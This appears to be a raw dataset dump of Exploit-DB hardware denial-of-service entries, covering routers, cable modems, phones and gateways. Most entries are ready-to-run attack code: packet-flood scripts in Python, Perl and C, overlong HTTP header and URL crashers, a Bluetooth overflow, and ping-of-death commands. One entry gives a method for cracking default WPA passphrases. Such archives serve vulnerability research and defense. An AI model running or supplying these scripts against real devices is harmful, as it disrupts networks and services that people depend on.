deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21978
Description: Linksys WAP11 1.3/1.4 / D-Link DI-804 4.68/Dl-704 2.56 b5 - Embedded HTTP Server Denial of Service
Type: dos
Platform: hardware
Date: 2002-11-01
Author: Mark Litchfield

Exploit:
source: https://www.securityfocus.com/bid/6090/info

A denial of service vulnerability has been reported for several networking devices.

The condition will be triggered when the embedded web server, used by the devices, receives an overly long HTTP header. An attacker can exploit this vulnerability to cause the device to stop functioning.

Rebooting the device is necessary to restore functionality.

Although not yet confirmed, it has been speculated that this issue is a result of a buffer overflow. 

GET / HTTP/1.1
Host: <lots of characters>
Exploit-DB #31884
Description: Linksys WRH54G 1.1.3 Wireless-G Router - HTTP Request Denial of Service
Type: dos
Platform: hardware
Date: 2008-06-05
Author: dubingyao

Exploit:
source: https://www.securityfocus.com/bid/29570/info

Linksys WRH54G Wireless-G Router is prone to a denial-of-service vulnerability because it fails to adequately handle malformed HTTP requests. As a result, memory becomes corrupted and the device's HTTP service will crash.

Successful exploits will deny service to legitimate users. Given the nature of this issue, remote code execution may be possible, but this has not been confirmed.

WRH54G firmware version 1.01.03 is vulnerable; other versions may also be affected.

http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.asp
Exploit-DB #41565
Description: Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 - Denial of Service
Type: dos
Platform: hardware
Date: 2017-03-09
Author: Quentin Olagne

Exploit:
#!/usr/bin/python

# Exploit Title: CVE-2017-6552 - Local DoS Buffer Overflow Livebox 3
# Date: 09/03/2017
# Exploit Author: Quentin Olagne
# Vendor Homepage: http://www.orange.fr/
# Version: SG30_sip-fr-5.15.8.1
# Tested on: Livebox 3 - Sagemcom
# CVE : CVE-2017-6552

'''
Livebox router has its default IPv6 routing table max. size too
small and therefore can be filled within minutes. 
An attacker can exploit this issue to render the affected system 
unresponsive, resulting in a denial-of-service condition for Phone, 
Internet and TV services.

Vulenrability has been discovered in April '16 and has been patched some time ago with the newest firmware. 
I have submitted the idea to have a button to enable/disable IPv6 stack on the local interface from the admin 
livebox web UI, don't know if it's been implemented. 

'''

from scapy.all import *
import time
import threading

start_time = time.time()

def printit():
    threading.Timer(5.0, printit).start()
    interval = time.time() - start_time
    print 'Total time in seconds:', interval, '\n'

printit()

packet = Ether() \
    /IPv6() \
    /ICMPv6ND_RA() \
    /ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
    /ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:01:42"))

try:
    sendp(packet,loop=1)
except KeyboardInterrupt:
        stored_exception=sys.exc_info()
except:
    pass

print "Goodbye"
Exploit-DB #21656
Description: Lucent Access Point 300/600/1500 IP Services Router - Long HTTP Request Denial of Service
Type: dos
Platform: hardware
Date: 2002-07-27
Author: FX

Exploit:
source: https://www.securityfocus.com/bid/5333/info

The Lucent Access Point series of routers support a web based administrative interface. An error has been reported in the embedded HTTP server.

It has been reported that sending a HTTP request consisting of approximately 4000 characters of data will cause the device to reboot. This may result in an interruption of service for legitimate users of the device. 

wget `perl -e 'print "http://router_ip/"; print "A"x4000; print "/";`
Exploit-DB #40014
Description: Magnet Networks Tesley CPVA 642 Router - Weak WPA-PSK Passphrase Algorithm
Type: dos
Platform: hardware
Date: 2016-06-27
Author: Matt O'Connor

Exploit:
# Exploit Title: Magnet Networks – Weak WPA-PSK passphrases used in Tesley CPVA 642 Router
# Google Dork: 
# Date: 01/06/2016
# Author: Matt O'Connor
# Advisory Link:  https://www.rgb.ie/magnet-broadband-weak-wpa-psk-algorithm.pdf
# Version: 
# Category: Remote
# Tested on: Magnet Networks Tesley CPVA 642


The Tesley CPVA 642 routers supplied by Magnet Networks are vulnerable to an offline dictionary attack if the WPA-PSK handshake is obtained by an attacker.
 
The WPA-PSK pass phrase has the following features:

• Starts with MAGNET0
• Adds six random numerical digits 
• 1 million possible combinations ( MAGNET0000000 – MAGNET0999999 ) 
 
The entire keyspace can be generated using “mask processor” by ATOM, piping each letter out to its own file, for example:

./mp32 MAGNET0?1?1?1?1?1?1 > magnet_networks_tesley_ks.txt

The .txt file weighs in at around 45mb.  

Using a 1.4ghz i3 processor on a budget laptop, we were hitting 1,000 keys per second.  Breakdown below:

• 1,000,000 / 1,000 keys per second = 1,000 seconds
• 1,000 / 60 seconds = 16~ minutes

The WPA-PSK handshake we used has the password MAGNET0349325 and was cracked within ~6 minutes.

If you’re using the default password on your Magnet Networks Tesley CPVA 642 Router, we recommend changing it immediately to a more secure password, using a mix of letters, numbers and symbols.

On the 20th of June 2016, Magnet Networks Customer Care confirmed via email that these routers are not used by Magnet Networks anymore.
Exploit-DB #12093
Description: McAfee Email Gateway (formerly IronMail) - Denial of Service
Type: dos
Platform: hardware
Date: 2010-04-06
Author: Nahuel Grisolia

Exploit:
Advisory Name: Denial of Service in McAfee Email Gateway (formerly IronMail)
Vulnerability Class: Denial of Service
Release Date: Tue Apr 6, 2010
Affected Applications: Secure Mail (Ironmail) ver.6.7.1
Affected Platforms: FreeBSD 6.2 / Apache-Coyote 1.1
Local / Remote: Local
Severity: Medium – CVSS: 4.6 (AV:L/AC:L/Au:S/C:N/I:N/A:C)
Researcher: Nahuel Grisolía

Vendor Status: Official Patch Released. Install McAfee Email Gateway 6.7.2 Hotfix 2.
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:
Users inside the CLI can run some kind of “Fork Bomb” in order to saturate system resources because
of an insecure ulimit value.

Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12093.pdf (cybsec_advisory_2010_0401.pdf)
Exploit-DB #36868
Description: Mercury MR804 Router - Multiple HTTP Header Fields Denial of Service Vulnerabilities
Type: dos
Platform: hardware
Date: 2012-02-21
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/52106/info

Mercury MR804 router is prone to multiple denial-of-service vulnerabilities.

Remote attackers can exploit these issues to cause the device to crash, denying service to legitimate users.

Mercury MR804 running version 3.8.1 Build 101220 is vulnerable. 

#-------------------------------------------------------------
#!/usr/bin/perl -w
use Socket;
$|=1;
print '*********************************'."\n";
print '* mercurycom MR804 v8.0 DoS PoC *'."\n";
print '*  writed by demonalex@163.com  *'."\n";
print '*********************************'."\n";
$evil='A'x4097;
$test_ip=shift;                           #target ip
$test_port=shift;                         #target port
if(!defined($test_ip) || !defined($test_port)){
    die "usage : $0 target_ip target_port\n";
}
$test_payload=
"GET / HTTP/1.0\r\n".
"Accept: */*\r\n".
"Accept-Language: zh-cn\r\n".
"UA-CPU: x86\r\n".
"If-Unmodified-Since: ".$evil."\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322;".
" .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)\r\n".
"Host: ".$test_ip."\r\n".
"Connection: Keep-Alive"."\r\n\r\n";
$test_target=inet_aton($test_ip);
$test_target=sockaddr_in($test_port, $test_target);
socket(SOCK, AF_INET, SOCK_STREAM, 6) || die "cannot create socket!\n";
connect(SOCK, $test_target) || die "cannot connect the target!\n";
send(SOCK, $test_payload, 0) || die "cannot send the payload!\n";
#recv(SOCK, $test_payload, 100, 0);
close(SOCK);
print "done!\n";
exit(1);
#-------------------------------------------------------------
Exploit-DB #6582
Description: Microsoft Windows Mobile 6.0 - Device Long Name Remote Reboot (Denial of Service)
Type: dos
Platform: hardware
Date: 2008-09-26
Author: Julien Bedard

Exploit:
#!/usr/bin/perl
#
# ----------WM6 remote overflow reboot PoC----------
# Simple exploit for remote rebooting a windows mobile device
# Maybe we can use it for doing command execution,
# I've not test it since the device is rebooting and do not dump a core
# for further analysing.
#
# The bug is not realy in the long string name but when it's the first
# time the wm6 device try to get a connection with too long name. 
#
# There's two way to exploit this bug, this PoC show the first method 
# (direct connect to the device if we know the bdaddr) but you can
# just wait for the device to search and overflow by itself when
# seeing the hci name:
# hciconfig <hci dev> name `perl -e 'print "A"x90000'`
# hciconfig <hci dev> piscan
# You just have to wait until the wm device search for bluetooth devices
# in range and it will be overflowed
#
#  *Tested on WM6 fully patched  on [HTC wiza 200],[HTC Mda 8125]
# (by Julien Bedard)
#

use Net::Bluetooth;

$target=$ARGV[0];
$hci_dev=$ARGV[1];
$overflow="A" x 90000;
$rfcomm_port="3";

if (@ARGV < 2)
{
die "Usage:\n       ./wm6_dos.pl <target_mac> <hci_device>\n\n";
}

# change this lame cmd ???
system("hciconfig $hci_dev name $overflow");

$over_conn = Net::Bluetooth->newsocket("RFCOMM");
print "socket error $!\n" unless(defined($over_conn));
$over_conn->connect($target, $rfcomm_port);

# milw0rm.com [2008-09-26]
Exploit-DB #41752
Description: MikroTik RouterBoard 6.38.5 - Denial of Service
Type: dos
Platform: hardware
Date: 2017-03-28
Author: FarazPajohan

Exploit:
#!/usr/local/bin/perl

use Socket;

$src_host =3D $ARGV[0];=20
$src_port =3D $ARGV[1];=20
$dst_host =3D $ARGV[2];=20
$dst_port =3D $ARGV[3];=20

if(!defined $src_host or !defined $src_port or !defined $dst_host or !defin=
ed $dst_port)=20
{
=09
=09print "Usage: $0 <source host> <source port> <dest host> <dest port>\n";
=09exit;
}=20
else=20
{
=09
=09main();
}
=20
sub main=20
{
=09my $src_host =3D (gethostbyname($src_host))[4];
=09my $dst_host =3D (gethostbyname($dst_host))[4];
=09$IPROTO_RAW =3D 255;
=09socket($sock , AF_INET, SOCK_RAW, $IPROTO_RAW)=20
=09=09or die $!;
=09my ($packet) =3D makeheaders($src_host, $src_port, $dst_host, $dst_port)=
;
=09my ($destination) =3D pack('Sna4x8', AF_INET, $dst_port, $dst_host);
=09while(1)
=09{
=09=09send($sock , $packet , 0 , $destination)
=09=09=09or die $!;
=09}
}

sub makeheaders=20
{
=09$IPPROTO_TCP =3D 6;
=09local($src_host , $src_port , $dst_host , $dst_port) =3D @_;
=09my $zero_cksum =3D 0;
=09my $tcp_len =3D 20;
=09my $seq =3D 19456;
=09my $seq_ack =3D 0;
=09my $tcp_doff =3D "5";
=09my $tcp_res =3D 0;
=09my $tcp_doff_res =3D $tcp_doff . $tcp_res;
=09my $tcp_urg =3D 0;=20
=09my $tcp_ack =3D 0;
=09my $tcp_psh =3D 0;
=09my $tcp_rst =3D 1;
=09my $tcp_syn =3D 0;
=09my $tcp_fin =3D 0;
=09my $null =3D 0;
=09my $tcp_win =3D 124;
=09my $tcp_urg_ptr =3D 44;
=09my $tcp_flags =3D $null . $null . $tcp_urg . $tcp_ack . $tcp_psh . $tcp_=
rst . $tcp_syn . $tcp_fin ;
=09my $tcp_check =3D 0;
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=
eq_ack , $tcp_doff_res, $tcp_flags,  $tcp_win , $tcp_check, $tcp_urg_ptr);
=09my $tcp_pseudo =3D pack('a4a4CCn' , $src_host, $dst_host, 0, $IPPROTO_TC=
P, length($tcp_header) ) . $tcp_header;
=09$tcp_check =3D &checksum($tcp_pseudo);
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=
eq_ack , $tcp_doff_res, $tcp_flags,  $tcp_win , $tcp_check, $tcp_urg_ptr);
=09my $ip_ver =3D 4;
=09my $ip_len =3D 5;
=09my $ip_ver_len =3D $ip_ver . $ip_len;
=09my $ip_tos =3D 00;
=09my $ip_tot_len =3D $tcp_len + 20;
=09my $ip_frag_id =3D 19245;
=09my $ip_ttl =3D 25;
=09my $ip_proto =3D $IPPROTO_TCP;=09
=09my $ip_frag_flag =3D "010";
=09my $ip_frag_oset =3D "[PII_REDACTED]000";
=09my $ip_fl_fr =3D $ip_frag_flag . $ip_frag_oset;
=09my $ip_header =3D pack('H2CnnB16CCna4a4',=09$ip_ver_len, $ip_tos, $ip_to=
t_len, $ip_frag_id,=09$ip_fl_fr , $ip_ttl , $ip_proto , $zero_cksum , $src_=
host , $dst_host);
=09my $pkt =3D $ip_header . $tcp_header;
=09return $pkt;
}
sub checksum=20
{
=09my ($msg) =3D @_;
=09my ($len_msg,$num_short,$short,$chk);
=09$len_msg =3D length($msg);
=09$num_short =3D $len_msg / 2;
=09$chk =3D 0;
=09
=09foreach $short (unpack("S$num_short", $msg))=20
=09{
=09=09$chk +=3D $short;
=09}
=09
=09$chk +=3D unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2;
=09$chk =3D ($chk >> 16) + ($chk & 0xffff);
=09
=09return(~(($chk >> 16) + $chk) & 0xffff);
}=20
Exploit-DB #28739
Description: Motorola SB4200 - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2006-10-03
Author: Dave Gil

Exploit:
source: https://www.securityfocus.com/bid/20309/info

Motorola SB4200 is prone to a remote denial-of-service vulnerability.

This may permit an attacker to crash affected devices, denying further network services to legitimate users.

#!/usr/bin/perl -w
###################################################
# Remote Motorola SB4200 DoS attack.              #
# By Dave Gil.                                    # 
# Infosec Labs                                    #
###################################################

use strict; 
use HTTP::Request::Common qw (POST GET); 
use LWP::UserAgent; 
my $ua = LWP::UserAgent->new(); 
my $url = "http://192.168.100.1/"; 
my $req = $ua->post( $url, [MfcISAPICommand => 'SecretProc', Secret => 'A' x int rand(4000)]);

print "The DoS has been sent.";
exit();
Exploit-DB #30688
Description: Motorola SBG6580 Cable Modem & Wireless Router - Reboot (Denial of Service)
Type: dos
Platform: hardware
Date: 2014-01-04
Author: nicx0

Exploit:
# Exploit Title: Motorola SBG6580 Cable Modem & Wireless-N Router Denial of Service
# Date: 01/03/14
# Exploit Author: nicx0
# Vendor Homepage: http://www.motorola.com/
# Software Link: http://www.motorola.com/us/SBG6580-SURFboard%C2%AE-eXtreme-Wireless-Cable-Modem/70902.html
# Version: SBG6580-6.5.0.0-GA-00-226-NOSH
# POSTing a bad login page parameter causes the router to reboot.

import sys
import socket
import urllib2
import urllib
router_ip = ''
try:
      router_ip = str(sys.argv[1])
except:
      print 'motobug.py ip_address : e.g. motobug.py 192.168.0.1'
      sys.exit(2)
query_args = {'this_was':'too_easy'}
url = 'http://' + router_ip + '/goform/login'
post_data = urllib.urlencode(query_args)
request = urllib2.Request(url, post_data)
try:
	print '[+] Sending invalid POST request to ' + url + '...'
	response = urllib2.urlopen(request,timeout=5)
except socket.timeout:
	print '[+] Success! No response from the modem.'
except urllib2.HTTPError:
	print '[-] Failed: HTTP error received. The modem might not be a SBG6580.'
except urllib2.URLError:
	print '[-] Failed: URL error received. Check the IP address again..'
else:
	print '[-] Failed: HTTP response received. Modem does not appear to be vulnerable.'
Exploit-DB #23778
Description: Motorola T720 Phone - Denial of Service
Type: dos
Platform: hardware
Date: 2004-03-01
Author: Shaun Colley

Exploit:
// source: https://www.securityfocus.com/bid/9779/info

The Motorola T720 has been reported prone to a remote denial of service vulnerability. The issue presents itself when the phone handles excessive IP based traffic under certain circumstances.

An attacker may potentially exploit this issue to cause a target phone to crash.

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <host>\n", argv[0]);
                exit(0);
        }

        int sock;
        char packet[5000];
        int on = 1;
        struct sockaddr_in dest;
        struct hostent *host;
        struct iphdr *ip = (struct iphdr *) packet;
        struct icmphdr *icmp = (struct icmp *) packet
+ sizeof(struct iphdr);
        if((host = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve host!\n");
                exit(-1);
        }

        if((sock = socket(AF_INET, SOCK_RAW,
IPPROTO_ICMP)) == -1) {
                printf("Couldn't make socket!\n");
                printf("You must be root to create a
raw socket.\n");
                exit(-1);
        }

        if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on))) < 0) {
        perror("setsockopt");
        exit(1);
        }

        dest.sin_family = AF_INET;
        dest.sin_addr = *((struct in_addr
*)host->h_addr);
        ip->ihl = 5;
        ip->id = htons(1337);
        ip->ttl = 255;
        ip->tos = 0;
        ip->protocol = IPPROTO_ICMP;
        ip->version = 4;
        ip->frag_off = 0;
        ip->saddr = htons("1.3.3.7");
        ip->daddr = inet_ntoa(dest.sin_addr);
        ip->tot_len = sizeof(struct iphdr) +
sizeof(struct icmphdr);
        ip->check = 0;
        icmp->checksum = 0;
        icmp->type = ICMP_ECHO;
        icmp->code = 0;
        printf("Ping flooding %s!\n", argv[1]);

        /* begin flooding here. */
        while(1) {
                sendto(sock, packet, ip->tot_len, 0,
(struct sockaddr *)&dest, sizeof(struct sockaddr));
        }
        return(0);
}
Exploit-DB #1551
Description: Multiple Routers - 'IRC Request' Disconnect Denial of Service
Type: dos
Platform: hardware
Date: 2006-03-04
Author: Ryan Meyer

Exploit:
It appears that various routers are prone to an IRC-only DoS attack. 
Particularly Netgear and Linksys routers have been shown vulnerable.

If a client behind one of the vulnerable routers connects to an IRC server on port 6667 
(and only 6667, does not DoS with other ports) and a user posts the following string 
in either a channel, private message, ctcp, notice, etc.. the router will drop the connection. 
The string is as follows:

DCC SEND anylongrandomstringhere

Further, it appears the routers that are vulnerable to this are running vxworks as their 
embedded OS. Older linux Linksys routers appear to be immune.

# milw0rm.com [2006-03-04]
Exploit-DB #25277
Description: Netcomm NB1300 Modem/Router - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2005-03-25
Author: Chris Rock

Exploit:
source: https://www.securityfocus.com/bid/12901/info

Netcomm NB1300 Modem/Router is reported prone to a remote denial of service vulnerability.

An attacker can exploit this condition by sending a large amount of ping requests to the device.

A successful attack can deny service to legitimate users. 

Send four consecutive requests of
ping -l 65500 -w 0 -t <IP of DSL Modem>
Exploit-DB #8964
Description: Netgear DG632 Router - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2009-06-15
Author: Tom Neaves

Exploit:
Product Name: Netgear DG632 Router
Vendor: http://www.netgear.com
Date: 15 June, 2009
Author: tom@tomneaves.co.uk < tom@tomneaves.co.uk >
Original URL: http://www.tomneaves.co.uk/Netgear_DG632_Remote_DoS.txt
Discovered: 18 November, 2006
Disclosed: 15 June, 2009

I. DESCRIPTION

The Netgear DG632 router has a web interface which runs on port 80.  This
allows an admin to login and administer the device's settings.  However,
a Denial of Service (DoS) vulnerability exists that causes the web interface
to crash and stop responding to further requests.

II. DETAILS

Within the "/cgi-bin/" directory of the administrative web interface exists a
file called "firmwarecfg".  This file is used for firmware upgrades.  A HTTP POST
request for this file causes the web server to hang.  The web server will stop
responding to requests and the administrative interface will become inaccessible
until the router is physically restarted.

While the router will still continue to function at the network level, i.e. it will
still respond to ICMP echo requests and issue leases via DHCP, an administrator will
no longer be able to interact with the administrative web interface.

This attack can be carried out internally within the network, or over the Internet
if the administrator has enabled the "Remote Management" feature on the router.

Affected Versions: Firmware V3.4.0_ap (others unknown)

III. VENDOR RESPONSE

12 June, 2009 - Contacted vendor.
15 June, 2009 - Vendor responded.  Stated the DG632 is an end of life product and is no
longer supported in a production and development sense, as such, there will be no further
firmware releases to resolve this issue.

IV. CREDIT

Discovered by Tom Neaves

# milw0rm.com [2009-06-15]
Exploit-DB #22407
Description: Netgear ProSafe 1.x - VPN Firewall Web Interface Login Denial of Service
Type: dos
Platform: hardware
Date: 2003-03-21
Author: Paul Kurczaba

Exploit:
source: https://www.securityfocus.com/bid/7166/info

It has been reported that some ProSafe VPN Firewall devices do not properly handle some types of input. Because of this, a remote user could potentially send malicious input to the device that would result in a crash, and potential denial of service.


Username:[PII_REDACTED][PII_REDACTED]72839ujsksodpckf0we9okzxck90zxcpzxc

[CREDENTIAL_REDACTED]